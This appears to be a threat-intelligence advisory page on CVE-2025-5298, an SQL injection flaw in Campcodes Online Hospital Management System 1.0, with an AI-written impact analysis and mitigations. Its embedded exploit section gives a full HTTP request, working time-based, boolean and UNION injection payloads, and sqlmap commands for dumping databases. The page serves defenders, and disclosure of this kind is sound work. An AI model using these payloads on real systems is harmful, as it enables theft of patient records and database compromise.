Campcodes Online Hospital Management System 1.0 - SQL Injection
Campcodes Online Hospital Management System 1.0 - SQL Injection
AI Analysis
Technical Summary
The Campcodes Online Hospital Management System (OHMS) version 1.0 is vulnerable to multiple SQL Injection (SQLi) attacks in its administrative reporting functionality, specifically in the /admin/betweendates-detailsreports.php endpoint. The vulnerability arises because the 'fromdate' and 'todate' POST parameters are not properly sanitized or validated before being incorporated into SQL queries. This allows an attacker to inject malicious SQL payloads that can manipulate the database query execution. The 'fromdate' parameter is susceptible to time-based blind SQL injection, enabling attackers to infer database information by causing deliberate delays (e.g., using the MySQL SLEEP() function). The 'todate' parameter is vulnerable to both boolean-based blind SQL injection and UNION-based SQL injection, allowing attackers to extract data by crafting queries that return true/false conditions or combine results from multiple queries. Exploit code demonstrates the use of automated tools like sqlmap to confirm and exploit these vulnerabilities. The affected system is built using PHP and MySQL, running on Linux (Ubuntu 23.10 tested). The SQLi vulnerabilities can be exploited without authentication, as the exploit targets the admin report page, which may be accessible to authenticated users or potentially exposed due to misconfigurations. No official patches or fixes are currently available from the vendor. The CVE identifier assigned is CVE-2025-5298, but no CVSS score has been published. The exploit code is provided as text-based payloads suitable for use with sqlmap or manual injection attempts.
Potential Impact
For European organizations using the Campcodes OHMS 1.0, this SQL injection vulnerability poses significant risks to confidentiality, integrity, and availability of sensitive healthcare data. Attackers could extract patient records, administrative data, and other confidential information, violating GDPR and other data protection regulations. The ability to perform UNION-based queries and time-based blind injections means attackers can systematically enumerate database schema and contents, potentially leading to full database compromise. Integrity risks include unauthorized modification or deletion of records, which could disrupt hospital operations and patient care. Availability could be impacted if attackers execute resource-intensive queries causing denial of service. Given the healthcare context, such breaches could lead to reputational damage, regulatory fines, and harm to patient safety. Although no widespread exploitation is currently reported, the presence of public exploit code increases the likelihood of targeted attacks, especially against smaller hospitals or clinics with limited cybersecurity resources.
Mitigation Recommendations
1. Immediate mitigation should include restricting access to the /admin/betweendates-detailsreports.php endpoint to trusted administrators only, ideally behind VPN or strong network access controls. 2. Implement input validation and parameterized queries (prepared statements) for all database interactions, especially for 'fromdate' and 'todate' fields, to prevent injection. 3. Conduct a thorough code review of the entire OHMS application to identify and remediate other potential injection points. 4. Deploy Web Application Firewalls (WAFs) with custom rules to detect and block SQL injection patterns targeting these parameters. 5. Monitor logs for unusual query patterns or repeated failed attempts indicative of SQLi exploitation. 6. If possible, upgrade to a patched version or apply vendor-provided fixes once available. 7. Educate administrators about the risks of exposing admin interfaces publicly and enforce strong authentication and session management. 8. Regularly back up databases and test restoration procedures to mitigate impact of potential data corruption or deletion.
Affected Countries
Germany, France, Italy, Spain, Poland, Netherlands, Belgium, Sweden, Austria, Ireland
Indicators of Compromise
- exploit-code: # Exploit Title: Campcodes Online Hospital Management System 1.0 - SQL Injection # Google Dork: N/A # Exploit Author: Carine Constantino # Vendor Homepage: https://www.campcodes.com # Software Link: https://www.campcodes.com/projects/online-hospital-management-system-using-php-and-mysql/ # Version: 1.0 # Tested on: Linux - Ubuntu Ubuntu 23.10 # CVE: CVE-2025-5298 # Campcodes Online Hospital Management System 1.0 is vulnerable to SQL Injection # The report in admin/betweendates-detailsreports.php does not validate ‘fromdate’ and ‘todate’ fields # And allows the processing of SQL Injection queries of the types: # blind time-based in the ‘fromdate’ field # boolean-based in the ‘todate’ field # Union Query in the ‘todate’ field ‘fromdate’ field is vulnerable to SQL Injection on reports accessed on “/admin/betweendates-detailsreports.php” from POST request POST /HospitalManagementSystem/hospital/hms/admin/betweendates-detailsreports.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 45 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/HospitalManagementSystem/hospital/hms/admin/between-dates-reports.php Cookie: ajs_anonymous_id=e18be7d3-2b50-4bed-9962-5cfab989426f; PHPSESSID=hfb8j1phivvf11o2j9cd492oqe Upgrade-Insecure-Requests: 1 Priority: u=0, i fromdate=&todate=&submit= =======================================|| Blind Time Based - ‘fromdate’ field ||============================================== SQLMap identified the following injection payload: Parameter: fromdate (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: fromdate=2019-01-01' AND (SELECT 5962 FROM (SELECT(SLEEP(5)))danz) AND 'awPP'='awPP&todate=2025-05-28&submit= SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p fromdate --dbs --random-agent --technique=T” =======================================|| Boolean Based - ‘todate’ field ||============================================== ‘todate’ field is vulnerable to SQL Injection on reports accessed on “/admin/betweendates-detailsreports.php” from POST request SQLMap identified the following injection payload: Parameter: todate (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: fromdate=2019-01-01&todate=2025-05-28' AND 3290=3290 AND 'yOfc'='yOfc&submit= SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p todate --dbs --random-agent --technique=B” =======================================|| Union Query - ‘todate’ field ||============================================== Another technique on ‘todate’ field can be exploited SQLMap identified the following injection payload: Parameter: todate (POST) Type: UNION query Title: Generic UNION query (NULL) - 11 columns Payload: fromdate=2019-01-01&todate=2025-05-28' UNION ALL SELECT CONCAT(CONCAT('qkpxq','eLwmjRlXmPYByrACqjbUDqzOqYmBeKwQSUSMNXdM'),'qzzbq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ckvh&submit= SQLMap first command to confirm the vulnerability: “sqlmap -r request.txt -p todate --dbs --random-agent --technique=U”
Campcodes Online Hospital Management System 1.0 - SQL Injection
Description
Campcodes Online Hospital Management System 1.0 - SQL Injection
AI-Powered Analysis
Technical Analysis
The Campcodes Online Hospital Management System (OHMS) version 1.0 is vulnerable to multiple SQL Injection (SQLi) attacks in its administrative reporting functionality, specifically in the /admin/betweendates-detailsreports.php endpoint. The vulnerability arises because the 'fromdate' and 'todate' POST parameters are not properly sanitized or validated before being incorporated into SQL queries. This allows an attacker to inject malicious SQL payloads that can manipulate the database query execution. The 'fromdate' parameter is susceptible to time-based blind SQL injection, enabling attackers to infer database information by causing deliberate delays (e.g., using the MySQL SLEEP() function). The 'todate' parameter is vulnerable to both boolean-based blind SQL injection and UNION-based SQL injection, allowing attackers to extract data by crafting queries that return true/false conditions or combine results from multiple queries. Exploit code demonstrates the use of automated tools like sqlmap to confirm and exploit these vulnerabilities. The affected system is built using PHP and MySQL, running on Linux (Ubuntu 23.10 tested). The SQLi vulnerabilities can be exploited without authentication, as the exploit targets the admin report page, which may be accessible to authenticated users or potentially exposed due to misconfigurations. No official patches or fixes are currently available from the vendor. The CVE identifier assigned is CVE-2025-5298, but no CVSS score has been published. The exploit code is provided as text-based payloads suitable for use with sqlmap or manual injection attempts.
Potential Impact
For European organizations using the Campcodes OHMS 1.0, this SQL injection vulnerability poses significant risks to confidentiality, integrity, and availability of sensitive healthcare data. Attackers could extract patient records, administrative data, and other confidential information, violating GDPR and other data protection regulations. The ability to perform UNION-based queries and time-based blind injections means attackers can systematically enumerate database schema and contents, potentially leading to full database compromise. Integrity risks include unauthorized modification or deletion of records, which could disrupt hospital operations and patient care. Availability could be impacted if attackers execute resource-intensive queries causing denial of service. Given the healthcare context, such breaches could lead to reputational damage, regulatory fines, and harm to patient safety. Although no widespread exploitation is currently reported, the presence of public exploit code increases the likelihood of targeted attacks, especially against smaller hospitals or clinics with limited cybersecurity resources.
Mitigation Recommendations
1. Immediate mitigation should include restricting access to the /admin/betweendates-detailsreports.php endpoint to trusted administrators only, ideally behind VPN or strong network access controls. 2. Implement input validation and parameterized queries (prepared statements) for all database interactions, especially for 'fromdate' and 'todate' fields, to prevent injection. 3. Conduct a thorough code review of the entire OHMS application to identify and remediate other potential injection points. 4. Deploy Web Application Firewalls (WAFs) with custom rules to detect and block SQL injection patterns targeting these parameters. 5. Monitor logs for unusual query patterns or repeated failed attempts indicative of SQLi exploitation. 6. If possible, upgrade to a patched version or apply vendor-provided fixes once available. 7. Educate administrators about the risks of exposing admin interfaces publicly and enforce strong authentication and session management. 8. Regularly back up databases and test restoration procedures to mitigate impact of potential data corruption or deletion.
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52312
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for Campcodes Online Hospital Management System 1.0 - SQL Injection
# Exploit Title: Campcodes Online Hospital Management System 1.0 - SQL Injection # Google Dork: N/A # Exploit Author: Carine Constantino # Vendor Homepage: https://www.campcodes.com # Software Link: https://www.campcodes.com/projects/online-hospital-management-system-using-php-and-mysql/ # Version: 1.0 # Tested on: Linux - Ubuntu Ubuntu 23.10 # CVE: CVE-2025-5298 # Campcodes Online Hospital Management System 1.0 is vulnerable to SQL Injection # The report in admin/betweendates-detailsreports.p
... (2934 more characters)
Threat ID: 68489d727e6d765d51d5225b
Added to database: 6/10/2025, 9:02:42 PM
Last enriched: 6/11/2025, 9:16:48 PM
Last updated: 8/12/2025, 4:13:54 PM
Views: 17
Related Threats
U.S. CISA adds N-able N-Central flaws to its Known Exploited Vulnerabilities catalog - Security Affairs
MediumU.S. CISA adds Microsoft Internet Explorer, Microsoft Office Excel, and WinRAR flaws to its Known Exploited Vulnerabilities catalog
MediumCisco ISE 3.0 - Remote Code Execution (RCE)
CriticalCisco ISE 3.0 - Authorization Bypass
Mediumprojectworlds Online Admission System 1.0 - SQL Injection
MediumActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.